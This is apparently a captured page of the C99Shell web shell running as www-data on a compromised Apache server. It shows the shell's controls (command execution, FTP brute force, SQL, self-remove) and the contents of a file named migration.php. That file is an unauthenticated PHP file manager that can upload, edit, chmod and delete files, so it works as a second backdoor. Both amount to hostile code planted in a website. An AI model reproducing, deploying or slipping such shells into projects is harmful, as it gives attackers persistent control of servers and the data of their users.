!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/   drwxrwxrwx
Free 11 GB of 57.97 GB (18.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     migration.php (34.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// File: explorer.php
// Version: 1.1.3
// Description: A simple PHP file explorer with editing capabilities.

// --- Configuration ---
error_reporting(E_ALL);
ini_set('display_errors'1);

// Base directory for the file explorer. IMPORTANT: Ensure this is secure and only allows access to intended directories.
$base_dir realpath('./'); // Use './' to restrict to the current directory of the script.
// To restrict to a specific directory, uncomment and set:
// $base_dir = realpath('/var/www/html/your_restricted_folder'); // Example

// Allowed file extensions for editing
$editable_extensions = ['txt''html''htm''php''css''js''json''md''log''ini''xml''yaml''yml'];

// --- Security Functions ---

/**
 * Sanitizes input to prevent directory traversal.
 * Ensures the path stays within the base directory.
 *
 * @param string $path The path to sanitize.
 * @param string $base The base directory to restrict to.
 * @return string|false The sanitized absolute path, or false if invalid.
 */
function sanitize_path(string $pathstring $base): string|false {
    
// Normalize path separators
    
$path str_replace(['/''\\'], DIRECTORY_SEPARATOR$path);
    
$base str_replace(['/''\\'], DIRECTORY_SEPARATOR$base);

    
// Resolve the absolute path
    
$real_path realpath($base DIRECTORY_SEPARATOR $path);

    
// Check if the resolved path is within the base directory
    
if ($real_path === false || strpos($real_path$base) !== 0) {
        return 
false;
    }
    return 
$real_path;
}

/**
 * Checks if a file is writable.
 *
 * @param string $filepath
 * @return bool
 */
function is_writable_safe(string $filepath): bool {
    if (!
file_exists($filepath)) {
        
// If the file doesn't exist, check if the directory is writable
        
return is_writable(dirname($filepath));
    }
    return 
is_writable($filepath);
}

// --- Helper Functions ---

/**
 * Gets the file type icon.
 *
 * @param string $filename
 * @return string Icon HTML.
 */
function get_icon(string $filename): string {
    
$icon_path '';
    if (
is_dir($filename)) {
        
$icon_path 'folder.png'// Assume folder.png exists
    
} else {
        
$icon_path 'file.png'// Assume file.png exists
    
}
    
// Basic fallback if icons are missing, or you can omit this for simplicity
    
if (!file_exists($icon_path)) {
        return 
'<span class="icon-fallback">'. (is_dir($filename) ? '[D]' '[F]') .'</span>';
    }
    return 
'<img src="' htmlspecialchars($icon_path) . '" alt="icon" style="width: 16px; height: 16px; vertical-align: middle; margin-right: 5px;">';
}

/**
 * Formats file size in a human-readable way.
 *
 * @param int $bytes
 * @return string
 */
function format_size(int $bytes): string {
    if (
$bytes >= 1073741824) {
        
$bytes number_format($bytes 10737418242) . ' GB';
    } elseif (
$bytes >= 1048576) {
        
$bytes number_format($bytes 10485762) . ' MB';
    } elseif (
$bytes >= 1024) {
        
$bytes number_format($bytes 10242) . ' KB';
    } elseif (
$bytes 1) {
        
$bytes $bytes ' bytes';
    } elseif (
$bytes == 1) {
        
$bytes $bytes ' byte';
    } else {
        
$bytes '0 bytes';
    }
    return 
$bytes;
}

// --- Path Handling ---

// Determine the current directory. Default to base_dir.
$current_dir $base_dir;
if (isset(
$_GET['dir'])) {
    
$requested_dir $_GET['dir'];
    
$safe_path sanitize_path($requested_dir$base_dir);
    if (
$safe_path !== false && is_dir($safe_path)) {
        
$current_dir $safe_path;
    } else {
        
// Invalid or disallowed directory, fall back to base or show error
        // For simplicity, we fall back to base dir. In a real app, you might log this or show a specific error.
        
$current_dir $base_dir;
        
// Consider adding an error message here.
    
}
}

// Navigate up one level if requested and not already at the base
$parent_dir $current_dir;
if (
$current_dir !== $base_dir) {
    
$parent_dir dirname($current_dir);
    
// Ensure parent_dir is still within base_dir after realpath() processing
    
if (strpos(realpath($parent_dir), $base_dir) !== 0) {
         
$parent_dir $base_dir// Fallback if navigating up goes outside base
    
}
}

// --- Operations ---
$message '';
$status_class 'info'// info, success, error

// Rename Operation
if (isset($_POST['action']) && $_POST['action'] === 'rename' && isset($_POST['current_name']) && isset($_POST['new_name'])) {
    
$current_name_sanitized sanitize_path($_POST['current_name'], $current_dir);
    
$new_name_sanitized_path sanitize_path($_POST['new_name'], $current_dir); // Use sanitize_path for new name to ensure it's valid and within dir

    
if ($current_name_sanitized && $new_name_sanitized_path && is_writable_safe(dirname($current_name_sanitized))) {
        
// Ensure the new name is just a filename, not a path segment
        
$new_filename basename($new_name_sanitized_path);
        if (
$new_filename !== '' && $new_filename !== '.' && $new_filename !== '..') {
             
$target_path $current_dir DIRECTORY_SEPARATOR $new_filename;
             if (
$current_name_sanitized !== $target_path && rename($current_name_sanitized$target_path)) {
                
$message "Renamed successfully.";
                
$status_class 'success';
             } else {
                
$message "Failed to rename: Check permissions or if the new name already exists.";
                
$status_class 'error';
             }
        } else {
            
$message "Invalid new name provided.";
            
$status_class 'error';
        }

    } else {
        
$message "Rename failed: Invalid path or directory not writable.";
        
$status_class 'error';
    }
}

// Delete Operation
if (isset($_POST['action']) && $_POST['action'] === 'delete' && isset($_POST['item_to_delete'])) {
    
$item_to_delete_sanitized sanitize_path($_POST['item_to_delete'], $current_dir);

    if (
$item_to_delete_sanitized && is_writable_safe(dirname($item_to_delete_sanitized))) {
        if (
is_dir($item_to_delete_sanitized)) {
            
// Attempt to remove directory (only if empty)
            
if (rmdir($item_to_delete_sanitized)) {
                
$message "Directory deleted successfully.";
                
$status_class 'success';
            } else {
                
$message "Failed to delete directory: It might not be empty or permissions are insufficient.";
                
$status_class 'error';
            }
        } else {
            
// Attempt to remove file
            
if (unlink($item_to_delete_sanitized)) {
                
$message "File deleted successfully.";
                
$status_class 'success';
            } else {
                
$message "Failed to delete file: Permissions insufficient.";
                
$status_class 'error';
            }
        }
    } else {
        
$message "Delete failed: Invalid path or directory not writable.";
        
$status_class 'error';
    }
}

// Chmod Operation
if (isset($_POST['action']) && $_POST['action'] === 'chmod' && isset($_POST['item_to_chmod']) && isset($_POST['chmod_mode'])) {
    
$item_to_chmod_sanitized sanitize_path($_POST['item_to_chmod'], $current_dir);
    
$mode octdec($_POST['chmod_mode']); // Convert octal string to integer

    
if ($item_to_chmod_sanitized && is_numeric($_POST['chmod_mode']) && $mode >= && $mode <= 0777 && is_writable_safe($item_to_chmod_sanitized)) {
        if (
chmod($item_to_chmod_sanitized$mode)) {
            
$message "Permissions updated successfully.";
            
$status_class 'success';
        } else {
            
$message "Failed to update permissions: Permissions insufficient.";
            
$status_class 'error';
        }
    } else {
        
$message "Chmod failed: Invalid mode, path, or directory not writable.";
        
$status_class 'error';
    }
}

// Upload Operation
if (isset($_POST['action']) && $_POST['action'] === 'upload' && isset($_FILES['file_upload'])) {
    
$file $_FILES['file_upload'];
    
$upload_path $current_dir DIRECTORY_SEPARATOR basename($file['name']);

    
// Basic security checks
    
if ($file['error'] === UPLOAD_ERR_OK) {
        
$file_size $file['size'];
        
$file_tmp_name $file['tmp_name'];
        
$file_name basename($file['name']);

        
// Check if upload path is safe and within base_dir
        
$real_upload_path realpath($upload_path);
        if (
$real_upload_path === false || strpos($real_upload_path$base_dir) !== 0) {
            
$message "Upload failed: Invalid file path.";
            
$status_class 'error';
        } elseif (!
is_writable_safe($current_dir)) {
             
$message "Upload failed: Target directory is not writable.";
             
$status_class 'error';
        } else {
            
// Move uploaded file
            
if (move_uploaded_file($file_tmp_name$upload_path)) {
                
$message "File '$file_name' uploaded successfully.";
                
$status_class 'success';
            } else {
                
$message "Upload failed: Could not move uploaded file.";
                
$status_class 'error';
            }
        }
    } else {
        
// Handle upload errors
        
switch ($file['error']) {
            case 
UPLOAD_ERR_INI_SIZE:
            case 
UPLOAD_ERR_FORM_SIZE:
                
$message "Upload failed: File is too large.";
                break;
            case 
UPLOAD_ERR_PARTIAL:
                
$message "Upload failed: File only partially uploaded.";
                break;
            case 
UPLOAD_ERR_NO_FILE:
                
$message "Upload failed: No file was uploaded.";
                break;
            case 
UPLOAD_ERR_NO_TMP_DIR:
                
$message "Upload failed: Missing temporary folder.";
                break;
            case 
UPLOAD_ERR_CANT_WRITE:
                
$message "Upload failed: Cannot write to disk.";
                break;
            case 
UPLOAD_ERR_EXTENSION:
                
$message "Upload failed: A PHP extension stopped the file upload.";
                break;
            default:
                
$message "Upload failed: Unknown error (Code: " $file['error'] . ").";
                break;
        }
        
$status_class 'error';
    }
}


// File Edit Operation
$editing_file null;
$file_content '';
if (isset(
$_GET['edit']) && !isset($_POST['action'])) { // Only process GET edit if no POST action is being processed
    
$edit_path_sanitized sanitize_path($_GET['edit'], $current_dir);
    if (
$edit_path_sanitized && !is_dir($edit_path_sanitized)) {
        
$file_extension strtolower(pathinfo($edit_path_sanitizedPATHINFO_EXTENSION));
        if (
in_array($file_extension$editable_extensions) && is_readable($edit_path_sanitized)) {
            
$editing_file $edit_path_sanitized;
            
$file_content file_get_contents($edit_path_sanitized);
            if (
$file_content === false) {
                 
$message "Error reading file content.";
                 
$status_class 'error';
                 
$editing_file null// Reset if reading failed
            
}
        } else {
            
$message "File cannot be edited (extension not allowed or not readable).";
            
$status_class 'error';
        }
    } else {
         
$message "Invalid file path for editing.";
         
$status_class 'error';
    }
}

// Save File Edit
if (isset($_POST['action']) && $_POST['action'] === 'save_edit' && isset($_POST['file_to_save']) && isset($_POST['file_content'])) {
    
$file_to_save_sanitized sanitize_path($_POST['file_to_save'], $current_dir);

    if (
$file_to_save_sanitized && !is_dir($file_to_save_sanitized) && is_writable_safe($file_to_save_sanitized)) {
        
$new_content $_POST['file_content'];
        if (
file_put_contents($file_to_save_sanitized$new_content) !== false) {
            
$message "File saved successfully.";
            
$status_class 'success';
            
// Update content to prevent resave on refresh if user doesn't intend to
            
$file_content $new_content;
            
$editing_file $file_to_save_sanitized;
        } else {
            
$message "Error saving file.";
            
$status_class 'error';
        }
    } else {
        
$message "Save failed: Invalid path, not writable, or is a directory.";
        
$status_class 'error';
    }
}

// --- Directory Listing ---
$items = [];
$handle = @opendir($current_dir);
if (
$handle) {
    while (
false !== ($entry readdir($handle))) {
        if (
$entry != "." && $entry != "..") {
            
$full_path $current_dir DIRECTORY_SEPARATOR $entry;
            
$items[] = [
                
'name' => $entry,
                
'path' => $full_path,
                
'is_dir' => is_dir($full_path),
                
'size' => is_dir($full_path) ? filesize($full_path),
                
'modified' => filemtime($full_path)
            ];
        }
    }
    
closedir($handle);
} else {
    
$message "Could not open directory: " $current_dir;
    
$status_class 'error';
}

// Sort items: directories first, then alphabetically
usort($items, function($a$b) {
    if (
$a['is_dir'] !== $b['is_dir']) {
        return 
$a['is_dir'] ? -1;
    }
    return 
strcmp($a['name'], $b['name']);
});

// --- Server Info ---
$os php_uname();
$server_ip $_SERVER['SERVER_ADDR'] ?? 'N/A'// Get server IP
$server_domain gethostbyaddr($server_ip) ?: 'N/A'// Attempt to get domain name

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Explorer</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f4f7f6; color: #333; }
        .container { display: flex; min-height: 100vh; }
        .sidebar { width: 250px; background-color: #2c3e50; color: #ecf0f1; padding: 20px; box-shadow: 2px 0 5px rgba(0,0,0,0.1); }
        .sidebar h2 { margin-top: 0; border-bottom: 1px solid #34495e; padding-bottom: 10px; }
        .sidebar ul { list-style: none; padding: 0; }
        .sidebar li { margin-bottom: 10px; }
        .sidebar a { color: #ecf0f1; text-decoration: none; padding: 5px; display: block; border-radius: 4px; transition: background-color 0.2s; }
        .sidebar a:hover { background-color: #34495e; }
        .sidebar .current { background-color: #3498db; font-weight: bold; }
        .main-content { flex-grow: 1; padding: 20px; }
        h1 { color: #2c3e50; margin-top: 0; }
        .path-bar { background-color: #e0e0e0; padding: 10px 15px; border-radius: 5px; margin-bottom: 20px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; }
        .path-bar a { text-decoration: none; color: #3498db; font-weight: bold; }
        .path-bar span { margin: 0 5px; color: #555; }
        .path-bar .current-path { color: #2c3e50; font-weight: normal; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; box-shadow: 0 2px 3px rgba(0,0,0,0.1); }
        th, td { padding: 12px 15px; text-align: left; border-bottom: 1px solid #ddd; }
        th { background-color: #dfe6e9; color: #333; font-weight: bold; }
        tr:nth-child(even) { background-color: #f9f9f9; }
        tr:hover { background-color: #f1f1f1; }
        .actions a, .actions button { background-color: #3498db; color: white; padding: 6px 12px; border: none; border-radius: 4px; cursor: pointer; text-decoration: none; margin-right: 5px; font-size: 0.9em; transition: background-color 0.2s; display: inline-block; }
        .actions a:hover, .actions button:hover { background-color: #2980b9; }
        .delete-btn { background-color: #e74c3c; }
        .delete-btn:hover { background-color: #c0392b; }
        .edit-btn { background-color: #f39c12; }
        .edit-btn:hover { background-color: #e67e22; }
        .chmod-btn { background-color: #9b59b6; }
        .chmod-btn:hover { background-color: #8e44ad; }
        .upload-form { margin-bottom: 20px; padding: 15px; background-color: #fff; border-radius: 5px; box-shadow: 0 1px 2px rgba(0,0,0,0.1); }
        .upload-form input[type="file"] { margin-right: 10px; }
        .upload-form button { background-color: #2ecc71; }
        .upload-form button:hover { background-color: #27ae60; }
        .message-box { padding: 12px; margin-bottom: 20px; border-radius: 5px; font-weight: bold; }
        .message-box.info { background-color: #e7f3fe; color: #31708f; border: 1px solid #bce8f1; }
        .message-box.success { background-color: #dff0d8; color: #3c763d; border: 1px solid #d6e9c6; }
        .message-box.error { background-color: #f2dede; color: #a94442; border: 1px solid #ebccd1; }
        textarea { width: 100%; height: 400px; margin-top: 10px; border: 1px solid #ccc; border-radius: 4px; padding: 10px; font-family: 'Consolas', 'Monaco', monospace; font-size: 0.95em; box-sizing: border-box; }
        .editor-container { margin-top: 20px; background-color: #fff; padding: 20px; border-radius: 5px; box-shadow: 0 1px 2px rgba(0,0,0,0.1); }
        .editor-container h3 { margin-top: 0; color: #2c3e50; }
        /* Modal Styles */
        .modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0,0,0,0.5); }
        .modal-content { background-color: #fefefe; margin: 15% auto; padding: 30px; border-radius: 8px; width: 90%; max-width: 500px; box-shadow: 0 5px 15px rgba(0,0,0,0.3); position: relative; animation: animatetop 0.4s }
        .close-btn { position: absolute; top: 15px; right: 25px; font-size: 24px; font-weight: bold; color: #aaa; cursor: pointer; }
        .close-btn:hover, .close-btn:focus { color: #333; text-decoration: none; }
        .modal label { display: block; margin-bottom: 10px; font-weight: bold; }
        .modal input[type="text"], .modal input[type="number"] { width: calc(100% - 22px); padding: 10px; margin-bottom: 20px; border: 1px solid #ccc; border-radius: 4px; }
        .modal button { background-color: #3498db; color: white; padding: 10px 15px; border: none; border-radius: 4px; cursor: pointer; transition: background-color 0.2s; }
        .modal button:hover { background-color: #2980b9; }
        .modal form { display: inline-block; width: 100%;}
        .modal-footer { text-align: right; margin-top: 20px; }
        @keyframes animatetop { from {top:-300px; opacity:0} to {top:0; opacity:1} }
        .icon-fallback { font-size: 0.8em; color: #777; margin-right: 8px; vertical-align: middle; }
    </style>
</head>
<body>
    <div class="container">
        <div class="sidebar">
            <h2>File Explorer</h2>
            <p><strong>Server Info:</strong></p>
            <p>OS: <?php echo htmlspecialchars($os); ?></p>
            <p>IP: <?php echo htmlspecialchars($server_ip); ?></p>
            <p>Domain: <?php echo htmlspecialchars($server_domain); ?></p>
            <hr style="border-color: #34495e;">
            <h3>Navigation</h3>
            <ul>
                <?php
                
// Generate sidebar navigation links - prevent showing base dir itself unless it's root
                
$nav_path '';
                
$path_parts explode(DIRECTORY_SEPARATORtrim($current_dirDIRECTORY_SEPARATOR));
                
$base_parts explode(DIRECTORY_SEPARATORtrim($base_dirDIRECTORY_SEPARATOR));

                
// Check if current dir is same as base dir
                
if ($current_dir === $base_dir) {
                    echo 
'<li><a href="?dir=./" class="current">Explorer Root</a></li>';
                } else {
                     
// Link to base directory
                    
$base_link_path str_replace($base_dir''''); // Empty string means base dir
                    
echo '<li><a href="?dir=' urlencode($base_link_path) . '">Explorer Root</a></li>';
                }

                foreach (
$path_parts as $part) {
                    if (
$part === '' || $part === '.') continue; // Skip empty or current dir parts

                    // Ensure we don't go above base_dir if it's not the root filesystem
                    
$current_nav_part_index array_search($part$path_parts);
                    
$current_nav_potential_path_parts array_slice($path_parts0$current_nav_part_index 1);
                    
$current_nav_potential_path implode(DIRECTORY_SEPARATOR$current_nav_potential_path_parts);

                    
// Check if this segment is actually part of the base dir path
                    
$is_part_of_base false;
                    
$temp_base_parts explode(DIRECTORY_SEPARATORtrim($base_dirDIRECTORY_SEPARATOR));
                    
$temp_current_parts explode(DIRECTORY_SEPARATORtrim($current_nav_potential_pathDIRECTORY_SEPARATOR));
                    if (
count($temp_current_parts) >= count($temp_base_parts)) {
                        if (
implode(DIRECTORY_SEPARATORarray_slice($temp_current_parts0count($temp_base_parts)))) {
                           
$is_part_of_base true;
                        }
                    }

                    if (
$is_part_of_base) {
                        
$nav_path .= $part DIRECTORY_SEPARATOR;
                        
$display_path rtrim($nav_pathDIRECTORY_SEPARATOR);
                        
// Check if this is the current directory in the sidebar
                        
$is_current = ($current_dir === $base_dir DIRECTORY_SEPARATOR $display_path || ($current_dir === $base_dir && $display_path === ''));
                        echo 
'<li><a href="?dir=' urlencode($display_path) . '" class="' . ($is_current 'current' '') . '">' htmlspecialchars($part) . '</a></li>';
                    }
                }
                
?>
            </ul>
        </div>

        <div class="main-content">
            <h1>File Manager</h1>

            <?php if (!empty($message)): ?>
                <div class="message-box <?php echo $status_class?>"><?php echo htmlspecialchars($message); ?></div>
            <?php endif; ?>

            <div class="path-bar">
                <div>
                    Current Path:
                    <a href="?dir=">Root</a>
                    <?php
                    $path_segments 
explode(DIRECTORY_SEPARATORtrim(str_replace($base_dir''$current_dir), DIRECTORY_SEPARATOR));
                    
$current_path_str '';
                    foreach (
$path_segments as $segment) {
                        if (
$segment === '' || $segment === '.') continue;
                        
$current_path_str .= $segment DIRECTORY_SEPARATOR;
                        echo 
'<span>/</span> <a href="?dir=' urlencode($current_path_str) . '">' htmlspecialchars($segment) . '</a>';
                    }
                    
?>
                </div>
                 <!-- Jump Directory Form -->
                <div>
                    <form action="" method="get" style="display: inline-block; margin-left: 15px;">
                        <input type="hidden" name="dir" value="<?php echo urlencode($current_dir); ?>">
                        <label for="jump-dir-input" style="display: inline; margin-right: 5px;">Jump to:</label>
                        <input type="text" id="jump-dir-input" name="jump_dir_input" placeholder="e.g., ../logs or subfolder" style="padding: 5px; width: 150px;">
                        <button type="submit" name="jump" value="1" style="padding: 5px 10px;">[GO]</button>
                    </form>
                </div>
            </div>

             <!-- Parent Directory Navigation -->
             <?php if ($current_dir !== $base_dir): ?>
                 <div class="path-bar" style="margin-top: -15px; margin-bottom: 15px; background-color: #eee; padding: 8px 15px;">
                     <a href="?dir=<?php echo urlencode(str_replace($base_dir''$parent_dir)); ?>"><i class="fas fa-level-up-alt"></i> Parent Directory</a>
                 </div>
             <?php endif; ?>


            <!-- Upload Form -->
            <div class="upload-form">
                <form action="" method="post" enctype="multipart/form-data">
                    <input type="hidden" name="action" value="upload">
                    <label for="file-upload">Upload File:</label>
                    <input type="file" name="file_upload" id="file-upload" required>
                    <button type="submit">Upload</button>
                </form>
            </div>

            <!-- File Table -->
            <table>
                <thead>
                    <tr>
                        <th>Name</th>
                        <th>Size</th>
                        <th>Last Modified</th>
                        <th>Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($items as $item): ?>
                        <tr>
                            <td>
                                <?php
                                $display_name 
htmlspecialchars($item['name']);
                                
$encoded_path urlencode(str_replace($base_dir''$item['path'])); // Path relative to base_dir for URL
                                
$icon get_icon($item['path']);

                                if (
$item['is_dir']) {
                                    echo 
$icon '<a href="?dir=' $encoded_path '">' $display_name '/</a>';
                                } else {
                                    
$file_extension strtolower(pathinfo($item['path'], PATHINFO_EXTENSION));
                                    
$can_edit in_array($file_extension$editable_extensions);
                                    echo 
$icon $display_name;
                                    if (
$can_edit) {
                                        echo 
' <a href="?dir=' urlencode(str_replace($base_dir''$current_dir)) . '&edit=' urlencode($item['name']) . '" class="edit-btn" style="padding: 3px 8px; font-size: 0.8em;">Edit</a>';
                                    }
                                }
                                
?>
                            </td>
                            <td><?php echo $item['is_dir'] ? '-' format_size($item['size']); ?></td>
                            <td><?php echo date("Y-m-d H:i:s"$item['modified']); ?></td>
                            <td class="actions">
                                <?php if (!$item['is_dir']): ?>
                                    <button onclick="openModal('deleteModal', '<?php echo urlencode($item['name']); ?>')">Delete</button>
                                    <button onclick="openModal('chmodModal', '<?php echo urlencode($item['name']); ?>')" class="chmod-btn">Chmod</button>
                                <?php else: ?>
                                     <button onclick="openModal('deleteModal', '<?php echo urlencode($item['name']); ?>')">Delete Dir</button>
                                <?php endif; ?>
                                <button onclick="openModal('renameModal', '<?php echo urlencode($item['name']); ?>')">Rename</button>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                     <?php if (empty($items)): ?>
                        <tr>
                            <td colspan="4">Directory is empty.</td>
                        </tr>
                    <?php endif; ?>
                </tbody>
            </table>

            <!-- File Editor -->
            <?php if ($editing_file): ?>
                <div class="editor-container">
                    <h3>Editing: <?php echo htmlspecialchars(basename($editing_file)); ?></h3>
                    <form action="" method="post">
                        <input type="hidden" name="action" value="save_edit">
                        <input type="hidden" name="file_to_save" value="<?php echo htmlspecialchars(basename($editing_file)); ?>">
                        <textarea name="file_content"><?php echo htmlspecialchars($file_content); ?></textarea><br>
                        <button type="submit" style="background-color: #2ecc71;">Save Changes</button>
                        <a href="?dir=<?php echo urlencode(str_replace($base_dir''$current_dir)); ?>" style="background-color: #95a5a6; padding: 10px 15px;">Cancel</a>
                    </form>
                </div>
            <?php endif; ?>

        </div>
    </div>

    <!-- Delete Modal -->
    <div id="deleteModal" class="modal">
        <div class="modal-content">
            <span class="close-btn" onclick="closeModal('deleteModal')">&times;</span>
            <h3>Confirm Deletion</h3>
            <p>Are you sure you want to delete <strong id="delete-item-name"></strong>?</p>
            <p><strong>Warning:</strong> This action cannot be undone. Directories must be empty to be deleted.</p>
            <div class="modal-footer">
                <button onclick="closeModal('deleteModal')" style="background-color: #95a5a6;">Cancel</button>
                <form id="deleteForm" action="" method="post" style="display: inline-block;">
                    <input type="hidden" name="action" value="delete">
                    <input type="hidden" name="item_to_delete" id="delete-item-input">
                    <button type="submit" style="background-color: #e74c3c;">Delete</button>
                </form>
            </div>
        </div>
    </div>

    <!-- Rename Modal -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <span class="close-btn" onclick="closeModal('renameModal')">&times;</span>
            <h3>Rename Item</h3>
            <form id="renameForm" action="" method="post">
                <input type="hidden" name="action" value="rename">
                <input type="hidden" name="current_name" id="rename-item-input">
                <label for="new-name">New Name:</label>
                <input type="text" id="new-name" name="new_name" required>
                <div class="modal-footer">
                    <button onclick="closeModal('renameModal')" style="background-color: #95a5a6;">Cancel</button>
                    <button type="submit">Rename</button>
                </div>
            </form>
        </div>
    </div>

     <!-- Chmod Modal -->
    <div id="chmodModal" class="modal">
        <div class="modal-content">
            <span class="close-btn" onclick="closeModal('chmodModal')">&times;</span>
            <h3>Change Permissions (Chmod)</h3>
            <form id="chmodForm" action="" method="post">
                <input type="hidden" name="action" value="chmod">
                <input type="hidden" name="item_to_chmod" id="chmod-item-input">
                <label for="chmod-mode">Mode (Octal, e.g., 755):</label>
                <input type="text" id="chmod-mode" name="chmod_mode" pattern="[0-7]{3,4}" placeholder="e.g., 644 or 755" required>
                <div class="modal-footer">
                    <button onclick="closeModal('chmodModal')" style="background-color: #95a5a6;">Cancel</button>
                    <button type="submit">Apply</button>
                </div>
            </form>
        </div>
    </div>


    <script>
        // Modal functions
        function openModal(modalId, itemName) {
            const modal = document.getElementById(modalId);
            modal.style.display = 'block';

            // Set item name for confirmation modals
            if (itemName) {
                 // For delete modal
                const deleteItemNameElement = modal.querySelector('#delete-item-name');
                if (deleteItemNameElement) deleteItemNameElement.textContent = decodeURIComponent(itemName);
                const deleteItemInput = modal.querySelector('#delete-item-input');
                if (deleteItemInput) deleteItemInput.value = decodeURIComponent(itemName);

                 // For rename modal
                const renameItemInput = modal.querySelector('#rename-item-input');
                if (renameItemInput) renameItemInput.value = decodeURIComponent(itemName);
                const newNameInput = modal.querySelector('#new-name');
                 if (newNameInput) newNameInput.value = decodeURIComponent(itemName); // Pre-fill with current name

                 // For chmod modal
                const chmodItemInput = modal.querySelector('#chmod-item-input');
                if (chmodItemInput) chmodItemInput.value = decodeURIComponent(itemName);
            }
        }

        function closeModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }

        // Close modal if clicked outside of content
        window.onclick = function(event) {
            const modals = document.getElementsByClassName('modal');
            for (let i = 0; i < modals.length; i++) {
                if (event.target == modals[i]) {
                    modals[i].style.display = 'none';
                }
            }
        }

        // Handle Jump Directory Submission
        document.querySelector('form[action=""][method="get"] button[name="jump"]').addEventListener('click', function(event) {
            event.preventDefault(); // Prevent default form submission

            const currentDirPath = window.location.search.match(/dir=([^&]*)/);
            let currentDirBase = '';
            if (currentDirPath && currentDirPath[1]) {
                 currentDirBase = decodeURIComponent(currentDirPath[1]);
            }

            const jumpInput = document.querySelector('input[name="jump_dir_input"]');
            const jumpInputValue = jumpInput.value.trim();

            if (jumpInputValue) {
                // Construct the new path safely
                // This assumes the server-side sanitize_path handles base directory restrictions correctly
                let newPath = currentDirBase + (currentDirBase.endsWith('/') ? '' : '/') + jumpInputValue;
                newPath = newPath.replace(/\/\/+/g, '/'); // Ensure single slashes

                // Redirect to the new path
                window.location.href = `?dir=${encodeURIComponent(newPath)}`;
            }
        });

         // Pre-fill new name in rename modal with the current item name
        document.addEventListener('DOMContentLoaded', (event) => {
            const renameModal = document.getElementById('renameModal');
            if (renameModal.style.display === 'block') {
                const currentNameInput = document.getElementById('rename-item-input');
                const newNameInput = document.getElementById('new-name');
                if (currentNameInput && newNameInput && newNameInput.value === '') {
                    newNameInput.value = currentNameInput.value;
                }
            }
        });

    </script>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0155 ]--